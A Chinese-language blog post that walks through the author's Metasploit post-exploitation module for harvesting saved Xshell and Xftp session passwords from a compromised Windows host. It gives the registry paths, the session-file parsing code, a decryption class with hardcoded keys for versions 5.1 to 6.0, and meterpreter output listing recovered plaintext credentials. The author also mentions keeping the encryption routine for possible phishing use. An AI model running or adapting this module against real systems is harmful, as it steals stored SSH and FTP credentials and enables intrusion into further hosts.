前言
- 在一个公众号看到了我之前写的Teamviewer获取ID和密码的那个模块,上面还有一个获取Xshell和Xftp密码的,但是那个是Python写的,装了环境各种报错,然后就写了一个Metasploit的后渗透模块,一开始是看到一个国人写的一个只能解密版本5.3的,后面发现代码写的莫名其妙,最后找到了这个,支持xshell和xftp,版本还支持5.1到6.0的,所以就按照这个项目算法。
思路
找session文件
include Msf::Post::Windows::UserProfiles
profiles = grab_user_profiles
profiles.each do |user_profiles|
next if user_profiles['SID'].nil?
- 安装完Xshell和Xftp,搜索注册表
NetSarang
关键词,找到注册表的根,这有两个版本
parent_key_6 = "HKEY_USERS\\\\\\\\#{user_profiles['SID']}\\\\\\\\Software\\\\\\\\NetSarang\\\\\\\\Common\\\\\\\\6\\\\\\\\UserData"
parent_key_5 = "HKEY_USERS\\\\\\\\#{user_profiles['SID']}\\\\\\\\Software\\\\\\\\NetSarang\\\\\\\\Common\\\\\\\\5\\\\\\\\UserData"
net_sarang_path_6 = expand_path(registry_getvaldata(parent_key_6, 'UserDataPath'))
net_sarang_path_5 = expand_path(registry_getvaldata(parent_key_5, 'UserDataPath'))
解析session配置文件
- 找到session文件夹,然后搜索后缀名得到session文件的路径,读文件拿到文本内容,这里有一个坑,就是不同版本保存的文件编码是不一样的,5.3之前的是ANSI编码,6.0的是Unicode编码,还有可能是UTF-8,还有可能是Unicode BE大端储存,找了很久没看到有现成的解决方法,最后自己写了一个。
def try_encode_file(data)
# version 6.0 The character set of the session file will use Unicode
# version <= 5.3 The character set of the session file will use ANSI
if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
data[2..-1].force_encoding('UTF-16LE').encode('UTF-8') # FFFE Unicode
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
data # EFBBBF UTF-8
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
data[2..-1].force_encoding('UTF-16BE').encode('UTF-8') # FEFF Unicode BE
else
data
end
end
- 先判断前面这个字符就可以知道什么编码,详细可以自己上网查查。反正最后把文件编码转成能用就行。
# parser xsh session file
#
# @param ini [String]
# @return [version, host, port, username, password]
def parser_xsh(ini)
version = ini['SessionInfo']['Version']
port = ini['CONNECTION']['Port']
host = ini['CONNECTION']['Host']
username = ini['CONNECTION:AUTHENTICATION']['UserName']
password = ini['CONNECTION:AUTHENTICATION']['Password'] || nil
[version, host, port, username, password]
end
# parser xfp session file
#
# @param ini [String]
# @return [version, host, port, username, password]
def parser_xfp(ini)
version = ini['SessionInfo']['Version']
port = ini['Connection']['Port']
host = ini['Connection']['Host']
username = ini['Connection']['UserName']
password = ini['Connection']['Password']
[version, host, port, username, password]
end
- 解析配置文件得到版本,主机,端口,用户名和密码这些有用的信息。
解密密文
- 为了方便写了一个类,用来加密解密,没有用到加密,先留着吧,可能到时候有用,比如钓鱼什么的。
class NetSarangCrypto
attr_accessor :version
attr_accessor :username
attr_accessor :sid
attr_accessor :master_password
attr_accessor :key
# This class implements encryption and decryption of NetSarang
#
# @param type [String] only xshell or xftp.
# @param version [String] Specify version of session file. e.g.:5.3
# @param username [String] Specify username. This parameter will be used if version > 5.2.
# @param sid [String] Specify SID. This parameter will be used if version >= 5.1.
# @option master_password [String] Specify user's master password.
#
# @return [Rex::Parser::NetSarang::NetSarangCrypto] The NetSarangCrypto object
def initialize(type, version, username, sid, master_password = nil)
self.version = version.to_f
self.username = username
self.sid = sid
self.master_password = master_password
md5 = OpenSSL::Digest::MD5.new
sha256 = OpenSSL::Digest::SHA256.new
if (self.version > 0) && (self.version < 5.1)
self.key = (type == 'xshell') ? md5.digest('!X@s#h$e%l^l&') : md5.digest('!X@s#c$e%l^l&')
elsif (self.version >= 5.1) && (self.version <= 5.2)
self.key = sha256.digest(self.sid)
elsif (self.version > 5.2)
if self.master_password.nil?
self.key = sha256.digest(self.username + self.sid)
else
self.key = sha256.digest(self.master_password)
end
else
raise 'Invalid argument: version'
end
end
# Encrypt
#
# @param string [String]
# @return [String] ciphertext
def encrypt_string(string)
cipher = Rex::Crypto.rc4(key, string)
if (version < 5.1)
return Rex::Text.encode_base64(cipher)
else
sha256 = OpenSSL::Digest::SHA256.new
checksum = sha256.digest(string)
ciphertext = cipher
return Rex::Text.encode_base64(ciphertext + checksum)
end
end
# Decrypt
#
# @param string [String]
# @return [String, Boolean] plaintext, is_valid
def decrypt_string(string)
if (version < 5.1)
return Rex::Crypto.rc4(key, Rex::Text.decode_base64(string))
else
data = Rex::Text.decode_base64(string)
ciphertext = data[0, data.length - 0x20]
plaintext = Rex::Crypto.rc4(key, ciphertext)
if plaintext.is_utf8?
return [plaintext, true]
else
return [nil, false]
end
end
end
end
信息入库
- 这么重要的信息当然要保存起来,Metasploit有现成的功能,但是要开启数据库服务,这个我默认都是开启的,因为可以记录你的每一个操作,就算你会话掉线了,你以前执行过的结果还会保存在数据库的事件表里,想看可以连接数据库看看。
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.76.1 192.168.76.132 2121/tcp (ftp) lftpd lftpd Password
192.168.76.1 192.168.76.132 2121/tcp (ftp) lftpd Blank password
192.168.76.134 192.168.76.132 22/tcp (ssh) kt 123456
使用方法
meterpreter > run post/windows/gather/credentials/xshell_xftp_password
[-] Unexpected Windows error 1332
UserName: C:\\\\Users\\\\Administrator\\\\Documents\\\\NetSarang
====================================================
Type Name Host Port UserName Plaintext Password
---- ---- ---- ---- -------- --------- --------
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd lftpd yhmb27u7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xshell_V5.3 新建会话 - 副本 (2).xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话 - 副本 (3).xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话 - 副本 (4).xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话 - 副本.xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话.xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
[-] Invalid MASTER_PASSWORD, Decryption failed!
UserName: C:\\\\Users\\\\Administrator\\\\Documents\\\\NetSarang Computer\\\\6
===============================================================
Type Name Host Port UserName Plaintext Password
---- ---- ---- ---- -------- --------- --------
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd sQsnGxC7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xshell_V6.0 新建会话.xsh 22 kt
meterpreter >
- 如果设置了主密码需要指定主密码才能解密,不然会像上面报错,选项为
MASTER_PASSWORD
meterpreter > run post/windows/gather/credentials/xshell_xftp_password MASTER_PASSWORD=123456
[-] Unexpected Windows error 1332
UserName: C:\\\\Users\\\\Administrator\\\\Documents\\\\NetSarang
====================================================
Type Name Host Port UserName Plaintext Password
---- ---- ---- ---- -------- --------- --------
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd lftpd yhmb27u7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xshell_V5.3 新建会话 - 副本 (2).xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话 - 副本 (3).xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话 - 副本 (4).xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话 - 副本.xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
Xshell_V5.3 新建会话.xsh 192.168.76.134 22 kt 123456 l03cn+pMjZae727K08KaOmKSgOaGzww/XVqGr/PKEgIMkjrcbJI=
UserName: C:\\\\Users\\\\Administrator\\\\Documents\\\\NetSarang Computer\\\\6
===============================================================
Type Name Host Port UserName Plaintext Password
---- ---- ---- ---- -------- --------- --------
Xftp_V5.3 新建会话.xfp 192.168.76.1 2121 lftpd lftpd sQsnGxC7ThR1+BNb5T+/aaps3NvoY3zmr7pVLjWIgfdsyVeHMA==
Xshell_V6.0 新建会话.xsh 22 kt
meterpreter >
- 这是PR,还没有合并,但是官方的反应很快,当天就回复了我。